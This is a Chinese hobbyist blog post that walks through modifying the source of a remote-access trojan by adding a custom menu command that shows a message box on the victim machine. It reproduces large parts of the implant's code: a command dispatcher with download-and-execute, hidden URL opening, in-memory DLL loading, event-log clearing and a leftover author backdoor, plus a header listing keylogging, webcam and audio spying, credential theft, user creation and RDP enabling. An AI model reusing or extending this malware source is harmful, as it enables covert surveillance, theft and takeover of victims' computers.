此篇文章只为记录我修改的过程,使用的是很笨的方法,不足以作为大家参考的文章...
一直想在远控上添加一些属于自己想要的功能,首先从被控端接收命令的一个switch结构入手
//接收主控发来的命令
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_LIST_DRIVE:
case COMMAND_SHELL:
case COMMAND_SCREEN_SPY:
case COMMAND_AUDIO:
case COMMAND_SYSTEM:
case COMMAND_KEYBOARD:
case COMMAND_WEBCAM:
case COMMAND_SERVICE_MANAGER:
case COMMAND_REGEDIT:
case COMMAND_PROXY_MAP:
case COMMAND_TEXT_CHAT:
{
PBYTE hMemDll = (PBYTE)VirtualAlloc(0,nSize - 1,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
if (hMemDll == NULL)
break;
memcpy(hMemDll,lpBuffer + 1,nSize -1);
//原作者遗留的后门
if (m_bIsBackDoor)
{
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DoorPlugin,
(LPVOID)hMemDll, 0, NULL,true);
}else
{
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_Plugin,
(LPVOID)hMemDll, 0, NULL,true);
}
}
break;
case COMMAND_SESSION:
ShutdownWindows(lpBuffer[1]);
break;
case COMMAND_RENAME_REMARK:
SetHostID((LPCTSTR)(lpBuffer + 1));
break;
case COMMAND_CHANGE_GROUP:
SetHostID((LPCTSTR)(lpBuffer + 1), TRUE);
break;
case COMMAND_DOWN_EXEC:
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,
(LPVOID)(lpBuffer + 1), 0, NULL);
Sleep(100);
break;
case COMMAND_OPEN_URL_SHOW:
OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);
break;
case COMMAND_OPEN_URL_HIDE:
OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);
break;
case COMMAND_UNINSTALL:
Rundll32Dll();
break;
case COMMAND_LOCAL_UPLOAD:
LocalLoad(lpBuffer ,nSize);
break;
case COMMAND_FIND_PROCESS:
CheckProcess(lpBuffer,m_pClient);
break;
case COMMAND_FIND_WINDOW:
CheckWindow(lpBuffer,m_pClient);
break;
case COMMAND_DOWN_UPDATE:
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)UpdateServer,
(LPVOID)(lpBuffer + 1), 0, NULL,true);
break;
case COMMAND_CHANGEDLLINFO:
SendDllInfo(m_pClient);
break;
case COMMAND_MESSAGEBOX:
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_Messagebox,
(LPVOID)(lpBuffer + 1), 0, NULL,true);
break;
case COMMAND_OPEN_PROXY:
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_Proxy,
(LPVOID)(m_pClient), 0, NULL,true);
break;
case COMMAND_CLOSE_PROXY:
StopProxy();
break;
case COMMAND_PRANK:
{
PBYTE hMemDll = (PBYTE)VirtualAlloc(0,nSize - 2,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
if (hMemDll == NULL)
break;
memcpy(hMemDll,lpBuffer + 2,nSize -2);
LoadFromMemory((LPVOID)hMemDll,"",lpBuffer[1],NULL);
}
break;
case COMMAND_CLEAN_EVENT:
CleanEvent(lpBuffer[1]);
break;
default:
break;
}
}
随便定位一个宏定义COMMAND_LIST_DRIVE设置主控为主要活动工程F12过去定位到这个文件
#if !defined(AFX_MACROS_H_INCLUDED)
#define AFX_MACROS_H_INCLUDED
#include <winsock2.h>
//
enum
{
// 文件传输方式
TRANSFER_MODE_NORMAL = 1, // 一般,如果本地或者远程已经有,取消
TRANSFER_MODE_ADDITION, // 追加
TRANSFER_MODE_ADDITION_ALL, // 全部追加
TRANSFER_MODE_OVERWRITE, // 覆盖
TRANSFER_MODE_OVERWRITE_ALL, // 全部覆盖
TRANSFER_MODE_JUMP, // 覆盖
TRANSFER_MODE_JUMP_ALL, // 全部覆盖
TRANSFER_MODE_CANCEL, // 取消传送
};
enum
{
COMMAND_LIST_FILES = 1, // 列出目录中的文件
COMMAND_DOWN_FILES, // 下载文件
COMMAND_FILE_SIZE, // 上传时的文件大小
COMMAND_FILE_DATA, // 上传时的文件数据
COMMAND_CONTINUE, // 传输正常,请求继续发送数据
COMMAND_STOP, // 传输中止
COMMAND_DELETE_FILE, // 删除文件
COMMAND_DELETE_DIRECTORY, // 删除目录
COMMAND_SET_TRANSFER_MODE, // 设置传输方式
COMMAND_CREATE_FOLDER, // 创建文件夹
COMMAND_RENAME_FILE, // 文件或文件改名
COMMAND_OPEN_FILE_SHOW, // 显示打开文件
COMMAND_OPEN_FILE_HIDE, // 隐藏打开文件
COMMAND_FILES_SEARCH_START, // 搜索文件
COMMAND_FILES_SEARCH_STOP, // 停止搜索
COMMAND_MOVE_DIRECTORY, // 移动文件夹
COMMAND_MOVE_FILE, // 移动文件
TOKEN_FILE_LIST, // 文件列表
TOKEN_FILE_SIZE, // 文件大小,传输文件时用
TOKEN_FILE_DATA, // 文件数据
TOKEN_TRANSFER_FINISH, // 传输完毕
TOKEN_DELETE_FINISH, // 删除完毕
TOKEN_GET_TRANSFER_MODE, // 得到文件传输方式
TOKEN_GET_FILEDATA, // 远程得到本地文件数据
TOKEN_CREATEFOLDER_FINISH, // 创建文件夹任务完成
TOKEN_DATA_CONTINUE, // 继续传输数据
TOKEN_RENAME_FINISH, // 改名操作完成
TOKEN_SEARCH_FILE_LIST, // 搜索出来的文件
TOKEN_SEARCH_FILE_FINISH, // 全部搜索完成
TOKEN_MOVE_FINISH,
};
//
//
enum
{
COMMAND_SCREEN_RESET = 1, // 改变屏幕深度
COMMAND_ALGORITHM_RESET, // 改变算法
COMMAND_SCREEN_CTRL_ALT_DEL, // 发送Ctrl+Alt+Del
COMMAND_SCREEN_CONTROL, // 屏幕控制
COMMAND_DISABLE_AERO, // 禁用AERO特效
COMMAND_SCREEN_BLOCK_INPUT, // 锁定服务端键盘鼠标输入
COMMAND_SCREEN_BLANK, // 服务端黑屏
COMMAND_SCREEN_CAPTURE_LAYER, // 捕捉层
COMMAND_SCREEN_GET_CLIPBOARD, // 获取远程剪贴版
COMMAND_SCREEN_SET_CLIPBOARD, // 设置远程剪帖版
TOKEN_FIRSTSCREEN, // 屏幕查看的第一张图
TOKEN_NEXTSCREEN, // 屏幕查看的下一张图
TOKEN_CLIPBOARD_TEXT, // 屏幕查看时发送剪帖版内容
};
//
//
enum
{
COMMAND_PSLIST = 1, // 进程列表
COMMAND_WSLIST, // 窗口列表
COMMAND_SSLIST, // 用户信息
COMMAND_USLIST, // 系统用户
COMMAND_ASLIST, // 用户状态
COMMAND_DSLIST, // 拨号密码
COMMAND_SOFTWARELIST, // 软件列表
COMMAND_KILLPROCESS, // 关闭进程
COMMAND_KILLPROCESS_WINDOW, // 关闭进程(窗口)
COMMAND_WINDOW_TEST, // 窗口隐藏、还原、最大化、最小化
COMMAND_WINDOW_CLOSE, // 窗口关闭
COMMAND_ACITVEUSER, // 启用用户
COMMAND_DISABLEEUSER, // 禁用用户
COMMAND_NET_USER, // 无net添加用户
COMMAND_CHANGE_USERPASS, // 更改用户密码
COMMAND_DELUSER, // 删除用户
COMMAND_DISCONNECTUSER, // 断开用户
COMMAND_LOGOFF_USER, // 注销用户
COMMAND_3389_PORT, // 更改3389端口
COMMAND_OPEN_3389, // 开启3389
COMMAND_SEND_TERMSRV, // 发送双开3389文件
COMMAND_S_SESSION, // 会话管理
//
TOKEN_WSLIST, // 窗口列表
TOKEN_SSLIST, // 系统信息
TOKEN_USLIST, // 系统用户
TOKEN_ASLIST, // 用户状态
TOKEN_DIALUPASS, // 拨号密码
TOKEN_SOFTWARE, // 软件信息
TOKEN_CPUMEMORY, // cpu 内存使用率
TOKEN_CHANGE_PSAA_SUCCESS, // 更改用户密码成功
TOKEN_GET_TERMSRV, // XP系统获取双开3389文件
TOKEN_TERMSRV_OK, // 双开3389成功
};
//
//
enum
{
COMMAND_WEBCAM_RESIZE = 1, // 摄像头调整分辩率,后面跟两个INT型的宽高
TOKEN_WEBCAM_DIB, // 摄像头的图像数据
};
//
//
enum
{
COMMAND_DELETESERVERICE = 100, // 删除服务
COMMAND_STARTSERVERICE, // 启动服务
COMMAND_STOPSERVERICE, // 停止服务
COMMAND_PAUSESERVERICE, // 暂停服务
COMMAND_CONTINUESERVERICE, // 继续服务
};
//
//
enum
{
COMMAND_REG_ENUM = 1, // 枚举注册表
COMMAND_REG_CREATEKEY, // 创建路径
COMMAND_REG_DELKEY, // 删除路径
COMMAND_REG_CREATKEY, // 创建键
COMMAND_REG_DELVAL, // 删除键
TOKEN_REG_INFO, // 注册表信息
TOKEN_REG_SUCCEED, // 注册表成功
TOKEN_REG_ERROR, // 注册表出错
TOKEN_REG_KEY, // 键值数据
};
//
//
enum
{
COMMAND_AUDIO_DATE = 1, // 发送本地语音数据
COMMAND_AUDIO_CHANGER, // 更改输入设备
COMMAND_AUDIO_CHANGER_LINES, // 更换输入声道
TOKEN_AUDIO_DATA, // 音频数据
TOKEN_AUDIO_CHANGE_FINISH, // 换道成功
};
//
//
enum
{
COMMAND_KEYBOARD_OFFLINE = 1, // 开启离线键盘记录
COMMAND_KEYBOARD_CLEAR, // 清除键盘记录内容
COMMAND_KEYBOARD_GET, // 获取记录
TOKEN_KEYBOARD_DATA, // 键盘记录的数据
};
//
//
enum
{
CLEAN_EVENT_ALL = 1,
CLEAN_EVENT_SYS,
CLEAN_EVENT_SEC,
CLEAN_EVENT_APP
};
//
//
enum
{
COMMAND_PROXY_CONNECT= 1, //socket5代理
COMMAND_PROXY_CLOSE,
COMMAND_PROXY_DATA,
TOKEN_PROXY_CONNECT_RESULT,
TOKEN_PROXY_CLOSE,
TOKEN_PROXY_DATA,
TOKEN_PROXY_BIND_RESULT
};
//
enum
{
// 控制端发出的命令
COMMAND_SESSION = 0, // 会话管理(关机,重启,注销, 卸载)
COMMAND_UNINSTALL, // 卸载
COMMAND_RENAME_REMARK, // 更改备注
COMMAND_CHANGEDLLINFO, // 查询配置
COMMAND_CHANGE_GROUP, // 更改分组
COMMAND_CLEAN_EVENT, // 清理日志
// 其他功能
COMMAND_DOWN_EXEC, // 下载执行
COMMAND_DOWN_UPDATE, // 下载更新
COMMAND_OPEN_URL_SHOW, // 打开网页(显示)
COMMAND_OPEN_URL_HIDE, // 打开网页(隐藏)
COMMAND_LOCAL_UPLOAD, // 本地上传
COMMAND_MESSAGEBOX, // Messagebox
// 筛选
COMMAND_FIND_PROCESS, // 查找进程
COMMAND_FIND_WINDOW, // 查找窗口
COMMAND_OPEN_PROXY, // 开启代理
COMMAND_CLOSE_PROXY, // 关闭代理
COMMAND_PRANK, // 恶 作 剧
// 主要功能
COMMAND_NEXT = 100, // 下一步(控制端已经打开对话框)
COMMAND_LIST_DRIVE, // 文件管理(列出磁盘目录)
COMMAND_SCREEN_SPY, // 屏幕监控
COMMAND_WEBCAM, // 摄像头监控
COMMAND_AUDIO, // 语音监听
COMMAND_SHELL, // cmdshell
COMMAND_SYSTEM, // 系统管理
COMMAND_KEYBOARD, // 键盘记录
COMMAND_SERVICE_MANAGER, // 服务管理
COMMAND_REGEDIT, // 注 册 表
COMMAND_TEXT_CHAT, // 文字聊天
COMMAND_PROXY_MAP, // proxy
// 预留
COMMAND_PLUGINME,
COMMAND_SHOW_QQ,
COMMAND_QQBOX,
/
// 服务端发出的标识
TOKEN_LOGIN = 200, // 上线包
TOKEN_DRIVE_LIST, // 文件管理(驱动器列表)
TOKEN_BITMAPINFO, // 屏幕监控(屏幕查看的BITMAPINFO)
TOKEN_WEBCAM_BITMAPINFO, // 摄像头(摄像头的BITMAPINFOHEADER)
TOKEN_SHELL_START, // CMD
TOKEN_AUDIO_START, // 开始语音监听
TOKEN_PSLIST, // 进程列表
TOKEN_KEYBOARD_START, // 键盘记录开始
TOKEN_SERVICE_LIST, // 服务列表
TOKEN_REGEDIT, // 注册表开始
TOKEN_TEXTCHAT_START, // 文字聊天开始
TOKEN_PROXY_START, // 代理映射开始
// 其他
TOKEN_FIND_YES, // 查找存在
TOKEN_DLLINFO, // 查看配置
// 预留
TOKEN_SHOWQQ,
TOKEN_RECV_QQ,
};
typedef struct
{
BYTE bToken; // = 1
char UpGroup[32]; // 上线分组
IN_ADDR IPAddress; // 存储32位的IPv4的地址数据结构
char HostName[50]; // 主机名
TCHAR sznet[20]; //net type
OSVERSIONINFOEX OsVerInfoEx; // 版本信息
DWORD dwMajorVer; // 系统主版本
DWORD dwMinorVer; // 系统次版本
DWORD dwBuildNumber; // 系统Build版本
char CPUClockMhz[20];// CPU信息
DWORD dwSpeed; // 网速
UINT bIsWebCam; // 是否有摄像头
bool bIsWow64;
DWORD dwMemSize;
char MarkTime[50]; // 安装时间
char Virus[40]; // 杀毒软件
char szQQNum[250]; // 登陆QQ
BOOL bIsActive; // 用户状态
char RemotePort[128]; //远程端口
}LOGININFO;
#define MAX_WRITE_RETRY 15 // 重试写入文件次数
#define MAX_SEND_BUFFER 1024 * 8 // 最大发送数据长度
#define MAX_RECV_BUFFER 1024 * 8 // 最大接收数据长度
#endif // !defined(AFX_MACROS_H_INCLUDED)
我主要是想在这里添加一些自定义的功能:
因为我是野路子出来的, 没有系统学习过C++ mfc等等开发,只能使用笨方法,通过关键词一步一步定位调试 :(
思路是在远程聊天宏(COMMAND_TEXT_CHAT)定义下面定义一个新的宏定义,COMMAN_CROW
主控端添加一个新的menu
然后在源码里搜下ID_MENUITEM_TEXT_CHAT 这个远程聊天的ID 看看在那里是调用的
这里捆绑了一个函数
定位到这个函数的位置,然后对着写一个新的函数捆绑上去
还需要添加消息响应函数
测试下看看,menu正常
处理函数正常:
OK了,开始往网络通讯走了,现在是要往被控端发送一个命令,然后被控端根据这个命令[宏定义]来本地弹窗!
思路,在主控中搜索命令宏定义,COMMAND_TEXT_CHAT 例如这种
nTextChatPacketLength = (CHATMyFileSize + 1)*sizeof(char)+1;
lpTextChatPacket = new BYTE[nTextChatPacketLength];
if(lpTextChatPacket == NULL)
{
AfxMessageBox("初始化TextChat插件失败!");
}
else
{
lpTextChatPacket[0] = COMMAND_TEXT_CHAT;
memcpy(lpTextChatPacket + 1, (void*)CHATMyFileBuf, nTextChatPacketLength - 1);
}
发现这些代码只是为了初始化,再换一个宏定义,COMMAND_DOWN_EXEC 这个命令是用来下载运行
ctrl+f没有搜到,然后仔细翻了下源码找到后,对着修改了下
void CPcView::OnMenuitemReboot()
{
// TODO: Add your command handler code here
BYTE bToken[2];
bToken[0] = COMMAND_SESSION;
bToken[1] = EWX_REBOOT | EWX_FORCE;
SendSelectCommand((LPBYTE)&bToken, sizeof(bToken));
LocalFree((LPBYTE)&bToken);
}
//对着修改后的
void CPcView::OnMenuCrow()
{
// TODO: Add your command handler code here
//MessageBox("CROW",NULL,NULL);
BYTE bToken[2];
bToken[0] = COMMAND_CROW;
SendSelectCommand((LPBYTE)&bToken,sizeof(bToken));
LocalFree((LPBYTE)&bToken); //释放掉
}
编译下主控,主控上的已经完事了,现在已经可以通过GUI点CROW菜单发送给被控CMMAND_CROW命令了,去修改下被控那边的接收后的处理,基本上就完事了
case COMMAND_CROW:
MessageBox(NULL,"CROW",NULL,NULL);
break;
增加一个消息处理应该就完事了。
然后不知道为啥,远控可以正常上线,但是一切功能都无法使用,奇怪了,